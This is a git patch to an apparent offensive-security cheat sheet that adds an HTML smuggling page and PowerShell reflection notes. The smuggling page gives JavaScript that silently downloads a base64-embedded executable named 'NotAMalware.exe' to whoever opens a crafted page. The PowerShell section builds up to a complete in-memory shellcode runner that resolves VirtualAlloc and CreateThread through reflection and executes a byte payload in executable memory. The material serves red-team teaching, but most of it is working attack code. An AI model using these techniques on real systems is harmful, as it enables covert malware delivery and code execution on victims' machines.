From 47df1695a163da8fe958ad265c07ba1241ebd4f8 Mon Sep 17 00:00:00 2001 From: ZkClown Date: Wed, 19 Apr 2023 17:59:10 +0200 Subject: [PATCH] Add Powerhsell Reflection through Delegate Type and Basic HTML Smuggling --- Methodology and Resources/HTML Smuggling.md | 44 ++++ .../Powershell - Cheatsheet.md | 237 +++++++++++++++++- 2 files changed, 274 insertions(+), 7 deletions(-) create mode 100644 Methodology and Resources/HTML Smuggling.md diff --git a/Methodology and Resources/HTML Smuggling.md b/Methodology and Resources/HTML Smuggling.md new file mode 100644 index 0000000..5b18a39 --- /dev/null +++ b/Methodology and Resources/HTML Smuggling.md @@ -0,0 +1,44 @@ +# HTML Smuggling + +## Summary +- [HTML Smuggling](#html-smuggling) + - [Summary](#summary) + - [Description](#description) + - [Executable Storage](#executable-storage) + + +## Description + +HTML Smuggling consists of making a user to navigate to our crafted HTML page which automaticaly download our malicious file. + +## Executable storage + +We can store our payload in a Blob object => JS: `var blob = new Blob([data], {type: 'octet/stream'});` +To perform the download, we need to create an Object Url => JS: `var url = window.URL.createObjectURL(blob);` +With those two elements, we can create with Javascript our \ tag which will be used to download our malicious file: +```Javascript +var a = document.createElement('a'); +document.body.appendChild(a); +a.style = 'display: none'; +var url = window.URL.createObjectURL(blob); +a.href = url; +a.download = fileName; +a.click(); +window.URL.revokeObjectURL(url); +``` + +To store ou payload, we use base64 encoding: +```Javascript +function base64ToArrayBuffer(base64) { + var binary_string = window.atob(base64); + var len = binary_string.length; + var bytes = new Uint8Array( len ); + for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); } + return bytes.buffer; +} + +var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA... +var data = base64ToArrayBuffer(file); +var blob = new Blob([data], {type: 'octet/stream'}); +var fileName = 'NotAMalware.exe'; +``` \ No newline at end of file diff --git a/Methodology and Resources/Powershell - Cheatsheet.md b/Methodology and Resources/Powershell - Cheatsheet.md index 9d64f1f..7695733 100644 --- a/Methodology and Resources/Powershell - Cheatsheet.md +++ b/Methodology and Resources/Powershell - Cheatsheet.md @@ -2,13 +2,21 @@ ## Summary -* Execution Policy -* Encoded Commands -* Download file -* Load Powershell scripts -* Load C# assembly reflectively -* Secure String to Plaintext -* References +- [Powershell](#powershell) + - [Summary](#summary) + - [Execution Policy](#execution-policy) + - [Encoded Commands](#encoded-commands) + - [Constrained Mode](#constrained-mode) + - [Encoded Commands](#encoded-commands) + - [Download file](#download-file) + - [Load Powershell scripts](#load-powershell-scripts) + - [Load C# assembly reflectively](#load-c-assembly-reflectively) + - [Call Win API using delegate functions with Reflection](#call-win-api-using-delegate-functions-with-reflection) + - [Resolve address functions](#resolve-address-functions) + - [DelegateType Reflection](#delegatetype-reflection) + - [Example with a simple shellcode runner](#example-with-a-simple-shellcode-runner) + - [Secure String to Plaintext](#secure-string-to-plaintext) + - [References](#references) ## Execution Policy @@ -91,6 +99,221 @@ $method = $class.GetMethod("runner") $method.Invoke(0, $null) ``` +## Call Win API using delegate functions with Reflection + +### Resolve address functions + +To perform reflection we first need to obtain `GetModuleHandle` and `GetProcAdresse` to be able to lookup of Win32 API function addresses. + +To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies. +```powershell +# Retrieve all loaded Assemblies +$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies() + +Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods +$Assemblies | + ForEach-Object { + $_.GetTypes()| + ForEach-Object { + $_ | Get-Member -Static| Where-Object { + $_.TypeName.Contains('Unsafe') + } + } 2> $nul l +``` +We want to find where the Assemblies are located, so we will use the statement `Location`. Then we will look for all the methods inside the Assembly `Microsoft.Win32.UnsafeNativeMethods` +TBN: `GetModuleHandle` and `GetProcAddress` are located in `C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll` + +If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property `GlobalAssemblyCache` set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the `System.dll`. +```powershell +$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { + $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') +}) + +$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods') +``` + +To retrieve the method `GetModuleHandle`, we can use the method `GetMethod()` to retrieve it. +`$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')` + +Now we can use the `Invoke` method of our object `$GetModuleHandle` to get a reference of an unmanaged DLL. +Invoke takes two arguments and both are objects: +* The first argument is the object to invoke it on but since we use it on a static method we may set it to "$null". +* The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that. +`$GetModuleHandle.Invoke($null, @("user32.dll"))` + +However, we want to use the same method to use the function `GetProcAddress`, it won't work due to the fact that our `System.dll` object retrieved contains multiple occurences of the method `GetProcAddress`. Therefore the internal method `GetMethod()` will throw an error `"Ambiguous match found."`. + +Therefore we will use the method `GetMethods()` to get all the available methods and then iterate over them to retrieve only those we want. +```powershell +$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}} +``` + +If we want to get the `GetProcAddress` reference, we will construct an array to store our matching object and use the first entry. + +```powershell +$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} +$GetProcAddress = $tmp[0] +``` + +We need to take the first one, because the arguments type of the second one does not match with ours. + +Alternatively we can use `GetMethod` function to precise the argument types that we want. +```powershell +$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress', + [reflection.bindingflags]'Public,Static', + $null, + [System.Reflection.CallingConventions]::Any, + @([System.IntPtr], [string]), + $null); +``` +cf: [https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0](https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0) + +Now we have everything to resolve any function address we want. +```powershell +$user32 = $GetModuleHandle.Invoke($null, @("user32.dll")) +$tmp=@() +$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} +$GetProcAddress = $tmp[0] +$GetProcAddress.Invoke($null, @($user32, "MessageBoxA")) +``` + +If we put everything in a function: +```powershell +function LookupFunc { + + Param ($moduleName, $functionName) + + $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') + $tmp=@() + $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} + return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) +} +``` + +### DelegateType Reflection + +To be able to use the function that we have retrieved the address, we need to pair the information about the number of arguments and their associated data types with the resolved function memory address. This is done through `DelegateType`. +The DelegateType Reflection consists in manually create an assembly in memory and populate it with content. + +The first step is to create a new assembly with the class `AssemblyName` and assign it a name. +```powershell +$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') +``` +Now we want to set permission on our Assembly. We need to set it to executable and to not be saved to the disk. For that the method `DefineDynamicAssembly` will be used. +```powershell +$Domain = [AppDomain]::CurrentDomain +$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) +``` +Now that everything is set, we can start creating content inside our assembly. First, we will need to create the main building block which is a Module. This can be done through the method `DefineDynamicModule` +The method need a custom name as the first argument and a boolean indicating if we want to include symbols or not. +```powershell +$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) +``` +The next step consists by creating a custom type that will become our delegate type. It can be done with the method `DefineType`. +The arguments are: +* a custom name +* the attributes of the type +* the type it build on top of +```powershell +$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) +``` +Then we will need to set the prototype of our function. +First we need to use the method `DefineConstructor` to define a constructor. The method takes three arguments: +* the attributes of the constructor +* calling convention +* the parameter types of the constructor that will become the function prototype +```powershell +$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', + [System.Reflection.CallingConventions]::Standard, + @([IntPtr], [String], [String], [int])) +``` +Then we need to set some implementation flags with the method `SetImplementationFlags`. +```powershell +$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed') +``` +To be able to call our function, we need to define the `Invoke` method in our delegate type. For that the method `DefineMethod` allows us to do that. +The method takes four arguments: +* name of the method defined +* method attributes +* return type +* array of argument types +```powershell +$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', + 'Public, HideBySig, NewSlot, Virtual', + [int], + @([IntPtr], [String], [String], [int])) +``` +If we put everything in a function: +```powershell +function Get-Delegate +{ + Param ( + [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address + [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types + [Parameter(Position = 2)] [Type] $retType = [Void] # Return type + ) + + $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). + DefineDynamicModule('QM', $false). + DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed') + $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed') + $delegate = $type.CreateType() + + return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate) +} +``` +### Example with a simple shellcode runner + +```powershell +# Create a Delegate function to be able to call the function that we have the address +function Get-Delegate +{ + Param ( + [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address + [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types + [Parameter(Position = 2)] [Type] $retType = [Void] # Return type + ) + + $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). + DefineDynamicModule('QM', $false). + DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed') + $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed') + $delegate = $type.CreateType() + + return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate) +} +# Allow to retrieve function address from a dll +function LookupFunc { + + Param ($moduleName, $functionName) + + $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') + $tmp=@() + $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} + return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) +} + +# Simple Shellcode runner using delegation +$VirtualAllocAddr = LookupFunc "Kernel32.dll" "VirtualAlloc" +$CreateThreadAddr = LookupFunc "Kernel32.dll" "CreateThread" +$WaitForSingleObjectAddr = LookupFunc "Kernel32.dll" "WaitForSingleObject" + + +$VirtualAlloc = Get-Delegate $VirtualAllocAddr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) +$CreateThread = Get-Delegate $CreateThreadAddr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) +$WaitForSingleObject = Get-Delegate $WaitForSingleObjectAddr @([IntPtr], [Int32]) ([Int]) + +[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0 ... + +$mem = $VirtualAlloc.Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40) +[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length) +$hThread = $CreateThread.Invoke([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero) +$WaitForSingleObject.Invoke($hThread, 0xFFFFFFFF) + +``` + ## Secure String to Plaintext ```ps1